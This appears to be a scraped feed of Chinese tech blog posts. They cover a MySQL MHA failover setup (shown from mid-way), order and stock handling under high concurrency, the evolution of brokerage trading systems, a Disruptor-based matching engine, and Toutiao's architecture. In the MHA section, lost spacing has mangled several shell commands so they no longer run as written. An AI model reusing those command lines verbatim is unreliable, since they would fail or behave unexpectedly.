        messages=`echo -e"MHA $subject 主从切换成功\n master:$orig_master_host --> $new_master_host \n $body \n 当前从库:$new_slave_hosts"` 
        echo"$messages"| mail -s"Mysql 实例宕掉,MHA $subject 切换成功"$email >>/tmp/mailx.log2>&1elsemessages=`echo -e"MHA $subject 主从切换失败\n master:$orig_master_host --> $new_master_host \n $body"`
        echo"$messages"| mail -s""Mysql 实例宕掉,MHA $subject 切换失败""$email >>/tmp/mailx.log2>&1fi

6.7 将脚本赋予可执行权限

chmod +x /opt/soft/mha/scripts/master_ip_failover 
    chmod+x /opt/soft/mha/scripts/master_ip_online_change 
    chmod+x /opt/soft/mha/scripts/send_report

7.验证MHA配置信息是否正常

7.1 检查ssh配置:

masterha_check_ssh --conf=/opt/soft/mha/app1/app1.cnf

成功!!!

7.2 检查主从复制情况:

masterha_check_repl --conf=/opt/soft/mha/app1/app1.cnf

  健康!!!

8.在master节点上绑定VIP,只需绑定一次,后续会随主备切换而自动切换

ifconfig ens33:1192.168.30.140/24

如过遇到问题,需手动删除,可执行如下命令:

ifconfig ens33:1del192.168.30.140        

ifconfig ens33:1 down #关闭vip

可以查看绑定VIP是否成功:

ip addr

 说明绑定成功!

9.在MHA的manager节点上启动MHA管理进程

nohup masterha_manager --conf=/opt/soft/mha/app1/app1.cnf --ignore_last_failover /opt/soft/mha/app1/manager.log2>&1&        

命令参数:
--remove_dead_master_conf 该参数代表当发生主从切换后,老的主库的ip将会从配置文件中移除。 --manger_log 日志存放位置 --ignore_last_failover 在缺省情况下,如果MHA检测到连续发生宕机,且两次宕机间隔不足8小时的话,则不会进行Failover,之所以这样限制是为了避免ping-pong效应。该参数代表忽略上次MHA触发切换产生的文件,默认情况下,MHA发生切换后会在日志目录,也就是上面设置的manager_workdir目录中产生app1.failover.complete文件,下次再次切换的时候如果发现该目录下存在该文件将不允许触发切换,除非在第一次切换后收到删除该文件,为了方便,这里设置为--ignore_last_failover。

观察manager.log日志,查看是否有成功,一般最后打印如下日志,说明成功:

Thu Jul215:00:052020- [info] Ping(SELECT) succeeded, waiting until MySQL doesn't respond..

10.查看MHA状态

masterha_check_status --conf=/opt/soft/mha/app1/app1.cnf

 说明MHA正在运行中,主节点是s142

11.停止MHA管理进程

masterha_stop --conf=/opt/soft/mha/app1/app1.cnf

manager.log日志会打印终止日志:

12.手动进行主备切换(在进行手动切换前要先停值manager进程)

masterha_master_switch --conf=/opt/soft/mha/app1/app1.cnf --master_state=alive --new_master_host=s143 --orig_master_is_new_slave --running_updates_limit=10000--interactive=0        

命令参数:

--master_state=dead
强制参数. 可选有: "dead" or "alive". 如果设置为 alive,将执行在线切主操作。
--dead_master_host=(hostname)
强制参数,--dead_master_ip 和 --dead_master_port 可选。
--interactive=(0|1)
1为交互模式(默认),会输入几个yes;0为非交互。
--ssh_reachable=(0|1|2)
否通过SSH可达。0表示不可达;2表示未知(默认)。
--skip_change_master
跳过CHANGE MASTER TO 操作
--skip_disable_read_only
跳过在新主上 SET GLOBAL read_only=0的操作。以便稍后手动操作。
--last_failover_minute=(minutes)
最近故障转移时间间隔(默认480),如果之前的故障转移是最近完成的(默认情况下是8小时),MHA Manager不会执行故障转移,因为问题很可能无法通过执行故障转移来解决。此参数的目的是避免乒乓故障转移问题。您可以通过更改此参数来更改时间标准
--ignore_last_failover
如果前面的故障转移失败,MHA不会启动故障转移,因为问题可能会再次发生。启动故障转移的正常步骤是手动删除在(manager_workdir)/(app_name).failover下创建的故障转移错误文件。如果设置该参数,将忽略这个错误文件,直接进行故障转移。
--remove_dead_master_conf
设置此选项后,如果故障转移成功完成,MHA Manager将自动从配置文件中删除失效主服务器的部分。
--wait_until_gtid_in_sync(0|1)
适用于GTID模式,设置为1表示MHA将等待所有slave追上新master的GTID,默认;0表示不等。
--orig_master_is_new_slave
如果原主库alive,设置该参数,将会使原master作为新主库的slave

 说明切换成功!

13.常用的命令

SHOW SLAVE STATUS;          #查看从库复制状态
SHOW MASTER STATUS;         #查看当前binlog位点
SHOW SLAVE HOSTS;           #查看从库列表

 

高并发场景下的订单和库存处理方案,讲的很详细了! - 前程有光 - 博客园

$
0
0

前言

之前一直有小伙伴私信我问我高并发场景下的订单和库存处理方案,我最近也是因为加班的原因比较忙,就一直没来得及回复。今天好不容易闲了下来想了想不如写篇文章把这些都列出来的,让大家都能学习到,说一千道一万都不如满满的干货来的实在,干货都下面了!

介绍

前提:分布式系统,高并发场景
商品A只有100库存,现在有1000或者更多的用户购买。如何保证库存在高并发的场景下是安全的。
预期结果:1.不超卖 2.不少卖 3.下单响应快 4.用户体验好

下单思路:

  1. 下单时生成订单,减库存,同时记录库存流水,在这里需要先进行库存操作再生成订单数据,这样库存修改成功,响应超时的特殊情况也可以通过第四步定时校验库存流水来完成最终一致性。
  2. 支付成功删除库存流水,处理完成删除可以让库存流水数据表数据量少,易于维护。
  3. 未支付取消订单,还库存+删除库存流水
  4. 定时校验库存流水,结合订单状态进行响应处理,保证最终一致性

(退单有单独的库存流水,申请退单插入流水,退单完成删除流水+还库存)

什么时候进行减库存

  • 方案一:加购时减库存。
  • 方案二:确认订单页减库存。
  • 方案三:提交订单时减库存。
  • 方案四:支付时减库存。

分析:

  • 方案一:在这个时间内加入购物车并不代表用户一定会购买,如果这个时候处理库存,会导致想购买的用户显示无货。而不想购买的人一直占着库存。显然这种做法是不可取的。唯品会购物车锁库存,但是他们是另一种做法,加入购物车后会有一定时效,超时会从购物车清除。
  • 方案二:确认订单页用户有购买欲望,但是此时没有提交订单,减库存会增加很大的复杂性,而且确认订单页的功能是让用户确认信息,减库存不合理,希望大家对该方案发表一下观点,本人暂时只想到这么多。
  • 方案三:提交订单时减库存。用户选择提交订单,说明用户有强烈的购买欲望。生成订单会有一个支付时效,例如半个小时。超过半个小时后,系统自动取消订单,还库存。
  • 方案四:支付时去减库存。比如:只有100个用户可以支付,900个用户不能支付。用户体验太差,同时生成了900个无效订单数据。

所以综上所述:
选择方案三比较合理。

重复下单问题

  1. 用户点击过快,重复提交。
  2. 网络延时,用户重复提交。
  3. 网络延时高的情况下某些框架自动重试,导致重复请求。
  4. 用户恶意行为。

解决办法

  1. 前端拦截,点击后按钮置灰。

  2. 后台:
    (1)redis 防重复点击,在下单前获取用户token,下单的时候后台系统校验这个 token是否有效,导致的问题是一个用户多个设备不能同时下单。

//key , 等待获取锁的时间 ,锁的时间
    redis.lock("shop-oms-submit" + token, 1L, 10L);

  

redis的key用token + 设备编号 一个用户多个设备可以同时下单。

//key , 等待获取锁的时间 ,锁的时间
    redis.lock("shop-oms-submit" + token + deviceType, 1L, 10L);

  

(2)防止恶意用户,恶意攻击 : 一分钟调用下单超过50次 ,加入临时黑名单 ,10分钟后才可继续操作,一小时允许一次跨时段弱校验。使用reids的list结构,过期时间一小时

/**
     * @param token
     * @return true 可下单
     */
    public boolean judgeUserToken(String token) {
        //获取用户下单次数 1分钟50次
        String blackUser = "shop-oms-submit-black-" + token;
        if (redis.get(blackUser) != null) {
            return false;
        }
        String keyCount = "shop-oms-submit-count-" + token;
        Long nowSecond = LocalDateTime.now().toEpochSecond(ZoneOffset.of("+8"));
        //每一小时清一次key 过期时间1小时
        Long count = redis.rpush(keyCount, String.valueOf(nowSecond), 60 * 60);
        if (count < 50) {
            return true;
        }
        //获取第50次的时间
        List<String> secondString = redis.lrange(keyCount, count - 50, count - 49);
        Long oldSecond = Long.valueOf(secondString.get(0));
        //now > oldSecond + 60 用户可下单
        boolean result = nowSecond.compareTo(oldSecond + 60) > 0;
        if (!result) {
            //触发限制,加入黑名单,过期时间10分钟
            redis.set(blackUser, String.valueOf(nowSecond), 10 * 60);
        }
        return result;
    }

  

如何安全的减库存

多用户抢购时,如何做到并发安全减库存?

  • 方案1: 数据库操作商品库存采用乐观锁防止超卖:
sql:update sku_stock set stock = stock - num where sku_code = '' and stock - num > 0;

  

分析:
高并发场景下,假设库存只有 1件 ,两个请求同时进来,抢购该商品.
数据库层面会限制只有一个用户扣库存成功。在并发量不是很大的情况下可以这么做。但是如果是秒杀,抢购,瞬时流量很高的话,压力会都到数据库,可能拖垮数据库。

  • 方案2:利用Redis单线程 强制串行处理
/**
     * 缺点并发不高,同时只能一个用户抢占操作,用户体验不好!
     *
     * @param orderSkuAo
     */
    public boolean subtractStock(OrderSkuAo orderSkuAo) {
        String lockKey = "shop-product-stock-subtract" + orderSkuAo.getOrderCode();
        if(redis.get(lockKey)){
            return false;
        }
        try {
            lock.lock(lockKey, 1L, 10L);
            //处理逻辑
        }catch (Exception e){
            LogUtil.error("e=",e);
        }finally {
            lock.unLock(lockKey);
        }
        return true;
    }

  

分析:
利用Redis 分布式锁,强制控制同一个商品处理请求串行化,缺点并发不高 ,处理比较慢,不适合抢购,高并发场景。用户体验差,但是减轻了数据库的压力。

  • 方案3 :redis + mq + mysql 保证库存安全,满足高并发处理,但相对复杂。
/**
     * 扣库存操作,秒杀的处理方案
     * @param orderCode
     * @param skuCode
     * @param num
     * @return
     */
    public boolean subtractStock(String orderCode,String skuCode, Integer num) {
        String key = "shop-product-stock" + skuCode;
        Object value = redis.get(key);
        if (value == null) {
            //前提 提前将商品库存放入缓存 ,如果缓存不存在,视为没有该商品
            return false;
        }
        //先检查 库存是否充足
        Integer stock = (Integer) value;
        if (stock < num) {
            LogUtil.info("库存不足");
            return false;
        } 
       //不可在这里直接操作数据库减库存,否则导致数据不安全
       //因为此时可能有其他线程已经将redis的key修改了
        //redis 减少库存,然后才能操作数据库
        Long newStock = redis.increment(key, -num.longValue());
        //库存充足
        if (newStock >= 0) {
            LogUtil.info("成功抢购");
            //TODO 真正扣库存操作 可用MQ 进行 redis 和 mysql 的数据同步,减少响应时间
        } else {
            //库存不足,需要增加刚刚减去的库存
            redis.increment(key, num.longValue());
            LogUtil.info("库存不足,并发");
            return false;
        }
        return true;
    }

  

分析:
利用Redis increment 的原子操作,保证库存安全,利用MQ保证高并发响应时间。但是事需要把库存的信息保存到Redis,并保证Redis 和 Mysql 数据同步。缺点是redis宕机后不能下单。
increment 是个原子操作。

综上所述:

方案三满足秒杀、高并发抢购等热点商品的处理,真正减扣库存和下单可以异步执行。在并发情况不高,平常商品或者正常购买流程,可以采用方案一数据库乐观锁的处理,或者对方案三进行重新设计,设计成支持单订单多商品即可,但复杂性提高,同时redis和mysql数据一致性需要定期检查。

订单时效问题
超过订单有效时间,订单取消,可利用MQ或其他方案回退库存。

设置定时检查
Spring task 的cron表达式定时任务
MQ消息延时队列

订单与库存涉及的几个重要知识

TCC 模型:Try/Confirm/Cancel:不使用强一致性的处理方案,最终一致性即可,下单减库存,成功后生成订单数据,如果此时由于超时导致库存扣成功但是返回失败,则通过定时任务检查进行数据恢复,如果本条数据执行次数超过某个限制,人工回滚。还库存也是这样。
幂等性:分布式高并发系统如何保证对外接口的幂等性,记录库存流水是实现库存回滚,支持幂等性的一个解决方案,订单号+skuCode为唯一主键(该表修改频次高,少建索引)
乐观锁:where stock + num>0
消息队列:实现分布式事务 和 异步处理(提升响应速度)
redis:限制请求频次,高并发解决方案,提升响应速度
分布式锁:防止重复提交,防止高并发,强制串行化
分布式事务:最终一致性,同步处理(Dubbo)/异步处理(MQ)修改 + 补偿机制

写在最后的话

大家看完有什么不懂的可以在下方留言讨论,也可以私信问我一般看到后我都会回复的。也欢迎大家关注我的公众号:前程有光,金三银四跳槽面试季,整理了1000多道将近500多页pdf文档的Java面试题资料,文章都会在里面更新,整理的资料也会放在里面。最后觉得文章对你有帮助的话记得点个赞哦,点点关注不迷路,每天都有新鲜的干货分享!

证券公司交易系统架构演进探析 - jimshi - 博客园

$
0
0

https://mp.weixin.qq.com/s/3MMPZfktiaok-c5-3LUPsA

券商作为证券市场的中介机构,承担了为广大投资者提供证券交易通道的市场责任。你知道交易指令是如何传递到交易所并最终成交的吗?

 

 

上图是一个典型的券商交易系统逻辑架构,手机App、网上交易等系统称为渠道系统,职责是为投资者提供交易渠道,并对指令做初步的要素检查,最终所有合法交易指令都会发送到集中交易系统进行统一业务逻辑处理。所有处理均完成后,把合法的投资指令发送给交易所竞价系统进行撮合。

集中交易系统在证券经纪业务中处于核心地位,它具有怎样的系统架构,承担了那些业务职能,是如何一步步演进过来的,现在又遇到哪些挑战,未来可能会向那些方向发展?本文从一个技术工程师的角度,尝试做一点剖析和探讨。

 

一、为何叫集中交易系统?

从名字上看,一定是从分散的交易系统整合而来的,事实上也确实如此。在上世纪90年代证券市场发展初期,证券经纪业务是以营业部为单位开展的,每家营业部都有自己的证券交易系统,单独保存自己的业务数据。粗放的管理模式带来了巨大的业务隐患,出现了诸如修改客户结算数据、挪用客户保证金、伪造客户交易指令等风险事件。2004年左右,整个行业风险经过多年累积,呈现集中爆发的态势,出现了“南方证券”,“德隆系”等一系列重大风险案件,促使国家开始对证券行业进行综合整治。也就是从这个时候开始,所有证券公司开始部署集中式的证券交易系统,由技术部门统一运营管理,这一代的证券交易系统也开始被行业内称为“集中交易系统”,并一直沿用至今。

 

二、集中交易系统承载哪些职能

集中交易系统是按照满足券商经纪业务来设计的,因此承载了很多业务职能。大致可以分为如下几大类:

1、账户业务。可以为客户进行账户开户、销户、管理业务权限、处理与交易相关的适当性管理、合规报送等。

2、资金业务。早期通过银证转帐实现,后来全面实行了客户保证金三方存管制度。

 

3、证券交易业务。处理投资者提交的各类交易指令,按照交易规则进行资金和证券的处理,并实现与交易所的委托和成交指令的对接。

4、信用交易业务。2010年证监会推出融资融券业务试点,投资者可以通过向证券公司融资买入股票,也可以融券卖出股票,实现了杠杆交易。系统需要按照信用交易的业务规则处理各类交易指令。

5、基金代销业务。投资者可以通过证券账户购买开放式基金产品,系统处理投资者的产品申购赎回指令,并实现与相应基金公司的指令交互和资金、份额结算。

6、清算业务。负责与交易所、登记结算公司进行数据交互和业务核对,完成客户在交易所内产品的资金、股份清算和结算。

7、查询业务。满足客户需要的各种交易流水、对账单、交割单等业务数据。

8、理财产品销售。券商为扩大客户投资品种范围,自行提供的各类理财产品的销售。

9、现金余额理财业务。可将客户投资账户上的现金余额自动申购为货币基金,提高客户的资金收益。

10、其他管理职能。系统参数设置、客户账号安全、外围系统接入、异常交易监控等。

不难看出,集中交易系统是一个综合性的业务系统,它的技术架构经历了怎样的演进,设计过程需要考虑哪些要素,又遇到到哪些挑战呢?

 

三、集中交易业务有哪些特点?

要理解集中交易系统的架构,先要看看它承载的业务有哪些特点。与其他金融业务相比,证券交易业务有一个非常大的行业特点,就是时效性。主要表现在:

1、交易时段限制。交易所开盘只有4个小时,在开盘时间范围内的指令才会得到处理。

2、竞价交易规则。交易达成是通过竞价实现的,竞价规则是价格优先+时间优先。如果指令提交太慢,就可能错过最佳的成交时间。

“时效性”的特点,决定了集中交易系统在设计时,必须要满足以下特性:(1)极强的稳定性和高可用性,尤其是在交易时段的高可用性(2)有竞争力的性能指标,保障客户的交易指令能快速到达交易所(3)主要业务都在开盘时间内集中处理,因此需要有足够的系统容量,并能随着业务规模的扩大灵活扩容。 

证券业务的第二个行业特点是业务的外部性。证券开户需要通过登记结算公司,交易需要通过证券交易所,资金转帐需要通过存管银行,基金交易需要连接基金公司,交易清算需要依赖交易所和登记结算公司提供的结算文件。

“外部性”的特点,决定了集中交易系统在设计时,需要充分考虑与外部系统之间的交互逻辑和业务规则间的对应关系。 

第三个特点是金融产品的多样性。各种金融产品的交易、结算、交收规则各不相同,要求业务系统具有很好的灵活性,能适应各种不同金融产品的业务处理要求。

第四个特点是业务的合规性。根据资本市场的主体责任划分,券商需要对交易的合规性进行前置检查,不允许出现证券卖空、资金透支等交易风险,因此就要求业务系统要保障业务逻辑的一致性。

 

四、证券交易系统技术架构演进之路

第一代的集中交易系统主要供应商包括恒生电子、金证股份、金仕达软件等,基本都采用了三层架构。如下图所示:

 

 

系统一共分为三层:

1、接入层,一般为一个高性能的消息中间件,负责渠道系统的接入和业务消息传输。

2、业务逻辑层,一般包含业务处理中间件框架,负责将业务消息分配到不同的业务处理模块进行处理。各业务模块通过与数据库交互,处理相应的业务请求。与外部系统相关的业务,则产生相应的业务请求并发送到外部系统,如交易所报盘、银行转账、登记结算公司账户开户等。

3、数据库,也称为数据层,通过传统的关系型数据库存储所有的业务数据,也有些系统通过存储过程实现部分的业务逻辑。 

 

这一代的集中交易系统一般都有这几个特点:

    (1)通过数据库的事务一致性原理,实现业务逻辑的强一致性。如证券交易要求客户的资金冻结和订单委托必须保证一致性,系统就会把这两个数据库操作封装在一个事务中处理,确保其一致性。

    (2)数据库承担了大量的业务处理逻辑,为了达到交易系统对容量和延时的要求,必须配置高性能的软硬件设备。软件基本都采用了Oracle、DB2等数据库,硬件则采用IBM的小型机设备,并配备EMC的高端存储。是一种典型的IOE架构。

    (3)业务中间件负责业务流程的组织,有统一的业务处理框架,通过将不同的业务分拆成可以动态加载的模块,实现系统功能的扩展,但核心逻辑仍然是对数据库的操作。中间件一般会设计成无状态模式,可以任意增加,单台故障也不会影响业务连续性和数据一致性。

    (4)通过数据库复制软件将业务数据复制到备机和灾备机,即实现了业务系统的备份和灾备。正常状态下,备份系统只能执行业务查询,不能处理交易指令。如主机发生故障,可将备份系统启用。如主备系统均不可用,则可切换到灾备机。系统的可用性水平(如RTO,RPO)主要取决于数据库复制的速度。

 

  第一代集中交易系统架构简单,系统的稳定性也很好,但也遇到了极大的挑战,包括:

(1)由于采用了数据库事务强一致性的方案,导致存在严重的资源争用,数据库成为整个系统的容量和性能瓶颈。券商被迫使用高性能的硬件设备来提高系统容量,降低交易延时,这又导致了高昂的系统部署和维护成本。而且从理论上讲,单台数据库系统有容量上限,交易处理延时下降也存在理论下限。

(2)由于每一项证券业务都在使用客户的资金信息,因此资金信息成为资源争用的中心。数据库事务很容易造成数据资源之间的死锁,因此对业务逻辑的编写有很高的要求,加剧了业务之间的耦合,使系统的研发和维护成本越来越高。

 

 

第一代证券交易系统从2005年开始进入券商,基本满足了当时的市场业务需要。但随着资本市场的快速发展,特别是在经历了2008年的牛市行情,市场成交量逐步放大的背景下,部分商开始尝试解决集中交易系统可能面临的容量和性能问题。 

第一个思路是寻找支持事务一致性的分布式的数据库系统,试图从数据库层面解决但数据库面临的容量问题,DB2也曾发布过类似的产品,但最终未能得到供应商的支持。但 Oracle RAC架构的推出,解决了主备数据库的数据同步和高可用问题,因此得到了全面实施。

第二个思路是业务逻辑前移,将主要计算逻辑从数据库迁移业务中间件处理,降低数据库的负载。但由于证券业务并非计算密集型的应用,而是数据操作性的应用,最终还是需要和数据打交道,这种方案也只能部分降低数据库的负载。

第三个思路是将客户按一定的规则进行分拆,通过部署多个交易中心,解决单交易中心的性能容量问题。这个方案得到了供应商的支持,纷纷发布了新的集中交易产品。这可以称为第二代集中交易系统。

 

通过客户分拆,理论上系统的容量可以没有上限,但在单个节点上,由于数据库事务强一致性的约束,单笔交易的系统延时还是很大。为了解决这个问题,供应商开始尝试使用弱事务一致性来处理交易逻辑,即在处理交易时,不再强制在单一事务内完成资金和交易的处理,而是把它分解成两步,降低事务的原子级别,如果处理过程中发生异常,则通过反向交易进行账务回冲,从逻辑上保证业务处理的正确性。

弱一致性的引入,可以大幅提高系统的吞吐量,也可以降低单笔业务的延时。在恒生电子的UF2.0中,综合采用了客户分拆、弱一致性事务等机制,在券商中得到了广泛使用。但由于是数据库机制,交易延时仍然只能达到10ms这个量级。

弱一致性在带来好处的同时,也降低了系统的数据一致性,当系统发生局部故障时,就可能出现系统资金和证券数据的不一致,需要通过业务过程中的日志和流水进行状态恢复。

 

 

 

 

在供应商的推动下,券商从2009年开始全面部署第二代集中交易系统,随后证券市场开始出现了新的变化,包括:

1、交易量开始稳步上升,两市每天稳定在3000亿以上,随时有放大的趋势。

2、易所开始推出各类创新的业务品种,包括创业板、融资融券、个股期权、沪深港通、固定收益产品扩容到地方政府债、公司债、企业债、ABS等。

3、证监会放开非现场开户后,客户争夺更加激烈,市场佣金持续下降。

4、业务合规性要求越来越高

 

 

新业务频繁推出,叠加券商间对客户资源的争夺日趋激烈,给集中交易系统带来了庞大的新增需求,供应商响应速度无法达到券商的业务需要,且频繁变更也给系统安全运行带来了巨大的挑战。行业内开始思考如何给集中交易系统进行架构优化。

第一个优化的方向是将账户系统进行剥离,从而为券商优化经纪业务运营体系提供可能性。按照这个思路,部分券商上线了独立的账户系统,将与营业网点相关的账户开立、资料录入、业务审核、合规报送等功能从集中交易完全剥离出来。

第二个优化的方向是将数据查询功能进行剥离,部署独立的数据中心系统,一方面可以减轻集中交易系统数据查询带来的压力,另一方面也可以进一步完善对客户的服务。

第三个优化是将理财产品销售功能进行剥离,部署专门用于处理产品销售的 OTC系统,将原有开放式基金业务也纳入OTC系统统一处理。

第四个优化的方向是清算子系统,部分券商将清算职能从集中交易系统完全剥离出来,纳入统一的清算运营平台,更有甚者,将公司自营、资管等业务线的清算也统一考虑,形成了公司级的运营平台。 

 

由于在如何给集中交易系统进行架构优化上,不同的券商有不同的思路,因此并没有形成行业统一的产品形态,以上提及的几个优化方向,券商会按自己的业务实际情况,有选择的进行实施。

瘦身后的集中交易系统功能更加纯粹,聚焦在高效稳定支持各种场内业务的交易、清算、合规管理等职能。但从交易功能上看,并没有改变围绕数据库进行业务处理的框架,可以看成是第二代集中交易系统的优化版。

 

在证券市场高速发展的同时,投资者结构也悄然发生了深刻变化,大量出现了以量化私募基金为代表的专业机构投资者,他们对交易系统的要求提升了一个量级,主要体现在:

1.使用计算机软件进行程序化交易。

2.对交易延时极为敏感,不同投资者之间存在速度竞争。

3.可能在较短时间内发出大量订单,对系统稳定性要求更高。

 

 

以数据库为中心的交易系统虽然经过了各种架构优化,但也只能将交易延时缩短到10ms左右的水平,离专业投资者的要求还有很大的差距。供应商开始推出全内存化的快速交易系统,专门服务少量的专业投资者。快速交易系统只有交易功能,其账户业务、资金划拨、清算均依托集中交易系统。所有业务全部在内存中完成处理,且每个客户的业务均采用串行化处理,确保数据的一致性(这一设计借鉴了期货交易系统)。

快速交易系统将交易延时提升了一个量级,达到了100微秒左右,有些供应商的系统甚至更快一些。但由于数据全部保存在内存中,损失了一定的高可用性,且由于业务串行化处理,吞吐量也受到了一定限制,因此单个节点的快速交易无法承载很多客户,券商会根据需要部署多套快速交易系统,有些甚至部署不同供应商的快速交易系统。券商交易系统进入了一种融合的架构模式,如下图所示:

 

 

这种融合架构的集中交易系统部署方案,已在大部分券商的生产系统得到实施。

 

五、未来会怎样?

可以确定的是,在资本市场不远的将来:

1、投资者结构还会持续向机构化的方向发展,服务好机构投资者是重中之重.

2、专业投资者对交易系统的核心需求仍然是高吞吐量、低延时,会越来越高.

3、监管部门对交易系统的业务连续性监管只会越来越严格,标准越来越高.

 

期望出现一种全新设计的下一代集中交易系统,将所有客户的交易体验提升一个量级。系统容量、性能、可用性均较现有系统得到明显提升。一个平台级的产品,具有良好的业务扩展性,同时也允许券商进行差异化的自主研发,而不仅仅依赖系统供应商。


撮合交易系统服务边界与设计_qq_18537055的博客-CSDN博客_activi撮合交易

$
0
0


如何设计并实现一个数字货币交易系统     

        证券交易系统是金融市场上能够提供的最有流动性,效率最高的交易场所。和传统的商品交易不同的是,证券交易系统提供的买卖标的物是标准的数字化资产,如USD、股票、BTC等,它们的特点是数字计价,可分割买卖。

        证券交易系统通过买卖双方各自的报价,按照价格优先、时间优先的顺序,对买卖双方进行撮合,实现每秒成千上万的交易量,可以为市场提供高度的流动性和价格发现机制。

        一个完整的数字货币交易系统是由用户系统(sso)、账户系统(account)、订单系统(order)、撮合系统(match)、以及清算系统(clearing)、行情系统(market)和钱包系统(wallet)构成的。各个子系统相互配合,完成数字货币报价交易。

  • SSO:用户全局登录,身份验证,权限现在;
  • account:用户用户数字货币相关操作,查看账户、划转、冻结等操作;
  • order:提供给下单,撤单,委托列表,历史交易记录;
  • match:撮合引擎是交易系统的核心。撮合引擎本质上就是维护一个买卖盘列表,然后按价格优先原则对订单进行撮合,能够成交的就输出成交结果,不能成交的放入买卖盘。这里注意没有时间优先原则,因为经过定序的订单队列已经是一个时间优先的队列了。
  • clearing:清算的工作就是把买单冻结的USD扣掉,并加上买入所得的BTC,同时,把卖单冻结的BTC扣掉,并加上卖出所得的USD。根据taker/maker的费率,向买卖双方收取手续费。
  • market:情系统保存市场的成交价、成交量等信息,并输出实时价格、K线图等技术数据,以便公开市场查询。
  • wallet:钱包系统就是提供给用户充值、提币等操作。

当然如果是自己的做的钱包,那么你可能还需要节点扫描上账系统,和离线签名系统(冷钱包),之前也看见过一些朋友说定序系统,我提供的方案是用mq队列的放手,先进先出。

说说核心代码,disruptor高性能环形队列无锁特性,使它成为交易所撮合引擎的核心技术,再加上分布式热备份内存技术,就基本上可以实现一个不错的撮合引擎了先看看disruptor:

DisruptorConfig:

public class DisruptorConfig {
	static Disruptor<OrderEvent> disruptor;
	static{
		OrderEventFactory factory = new OrderEventFactory();
		int ringBufferSize = 1024*1024;
		ThreadFactory threadFactory = runnable -> new Thread(runnable);
		disruptor = new Disruptor<>(factory, ringBufferSize, threadFactory,ProducerType.MULTI, new YieldingWaitStrategy());
		disruptor.handleEventsWithWorkerPool(new MatchHandler(),new MatchHandler()).then(new DepthInputHandler(),new DepthOutHandler());
		disruptor.start();
	}
	public static void producer(OrderEvent input){
		RingBuffer<OrderEvent> ringBuffer = disruptor.getRingBuffer();
		OrderProducer producer = new OrderProducer(ringBuffer);
		producer.onData(input);
	}
}

OrderProducer:

public class OrderProducer {

	private final RingBuffer<OrderEvent> ringBuffer;

	public OrderProducer(RingBuffer<OrderEvent> ringBuffer) {
		this.ringBuffer = ringBuffer;
	}

	private static final EventTranslatorOneArg<OrderEvent, OrderEvent> TRANSLATOR = new EventTranslatorOneArg<OrderEvent, OrderEvent>() {
		public void translateTo(OrderEvent event, long sequence, OrderEvent input) {
			BeanUtils.copyProperties(input,event);
		}
	};
	public void onData(OrderEvent input) {
		ringBuffer.publishEvent(TRANSLATOR, input);
	}
}

 

OrderEventFactory:

/**
 * 事件生成工厂(用来初始化预分配事件对象)
 * 创建者 kinbug
 */
public class OrderEventFactory implements EventFactory<OrderEvent>{

	@Override
	public OrderEvent newInstance() {
		// TODO Auto-generated method stub
		return new OrderEvent();
	}

}

MatchHandler :

/**
 * 撮合处理器
 * @author kinbug
 */
public class MatchHandler implements WorkHandler<OrderEvent> {
	@Override
	public void onEvent(OrderEvent event) throws Exception {
		// TODO Auto-generated method stub
		//处理你的撮合细节
	}

}

DepthInputHandler入订单的深度,和出订单的深度和MatchHandler类似;

具体代码见: 传送门

了解更多撮合: 传送门

今日头条技术架构分析_一直在努力的小渣渣-CSDN博客_架构分析

$
0
0

​ ​ 今日头条创立于2012年3月,到目前仅4年时间。从十几个工程师开始研发,到上百人,再到200余人。产品线由内涵段子,到今日头条,今日特卖,今日电影等产品线。

一、产品背景

​ ​ 今日头条是为用户提供个性化资讯客户端。下面就和大家分享一下当前今日头条的数据(据内部与公开数据综合):

  • 5亿注册用户

2014年5月1.5亿,2015年5月3亿,2016年5月份为5亿。几乎为成倍增长。

  • 日活4800万用户

2014年为1000万日活,2015年为3000万日活。

  • 日均5亿PV

5亿文章浏览,视频为1亿。页面请求量超过30亿次。

  • 用户停留时长超过65分钟以上

1、文章抓取与分析

​ ​ 我们日常产生原创新闻在1万篇左右,包括各大新闻网站和地方站,另外还有一些小说,博客等文章。这些对于工程师来讲,写个Crawler并非困难的事。

​ ​ 接下来,今日头条会用人工方式对敏感文章进行审核过滤。此外,今日头条头条号目前也有为数不少的原创文章加入到了内容遴选队列中。

​​ ​ 接下来我们会对文章进行文本分析,比如分类,标签、主题抽取,按文章或新闻所在地区,热度,权重等计算。

2、用户建模

​ ​ 当用户开始使用今日头条后,对用户动作的日志进行实时分析。使用的工具如下:

- Scribe

- Flume

- Kafka

​ ​ 我们对用户的兴趣进行挖掘,会对用户的每个动作进行学习。主要使用:

- Hadoop

- Storm

​ ​ 产生的用户模型数据和大部分架构一样,保存在MySQL/MongoDB(读写分离)以及Memcache/Redis中。

​ ​ 随着用户量的不断扩展大,用户模型处理的机器集群数量较大。2015年前为7000台左右。其中,用户推荐模型包括以下维度:

1 用户订阅

2 标签

3 部分文章打散推送

此时,需要每时每刻做推荐。

3、新用户的“冷启动”

​ ​ 今日头条会通过用户使用的手机,操作系统,版本等“识别”。另外,比如用户通过社交帐号登录,如新浪微博,头条会对其好友,粉丝,微博内容及转发、评论等维度进行对用户做初步“画像”。

​ ​ 分析用户的主要参数如下:

- 关注、粉丝关系

- 关系

- 用户标签

​​ ​ 除了手机硬件,今日头条还会对用户安装的APP进行分析。例如机型和APP结合分析,用小米,用三星的和用苹果的不同,另外还有用户浏览器的书签。头条会实时捕捉用户对APP频道的动作。另外还包括用户订阅的频道,比如电影,段子,商品等。

4、推荐系统

​ ​ 推荐系统,也称推荐引擎。它是今日头条技术架构的核心部分。包括自动推荐与半自动推荐系统两种类型:

1 自动推荐系统

- 自动候选

- 自动匹配用户,如用户地址定位,抽取用户信息

- 自动生成推送任务

这时需要高效率,大并发的推送系统,上亿的用户都要收到。

2 半自动推荐系统

- 自动选择候选文章

- 根据用户站内外动作

​ ​ 头条的频道,在技术侧划分的包括分类频道、兴趣标签频道、关键词频道、文本分析等,这些都分成相对独立的开发团队。目前已经有300+个分类器,仍在不断增加新的用户模型,原来的用户模型不用撤消,仍然发挥作用。

​ ​ 在还没有推出头条号时,内容主要是抓取其它平台的文章,然后去重,一年几百万级,并不太大。主要是用户动作日志收集,兴趣收集,用户模型收集。

​ ​ 资讯App的技术指标,比如屏幕滑动,用户是不是对一篇都看完,停留时间等都需要我们特别关注

在这里插入图片描述

5、数据存储

​ ​ 今日头条使用MySQL或Mongo持久化存储+Memched(Redis),分了很多库(一个大内存库),亦尝试使用了SSD的产品。

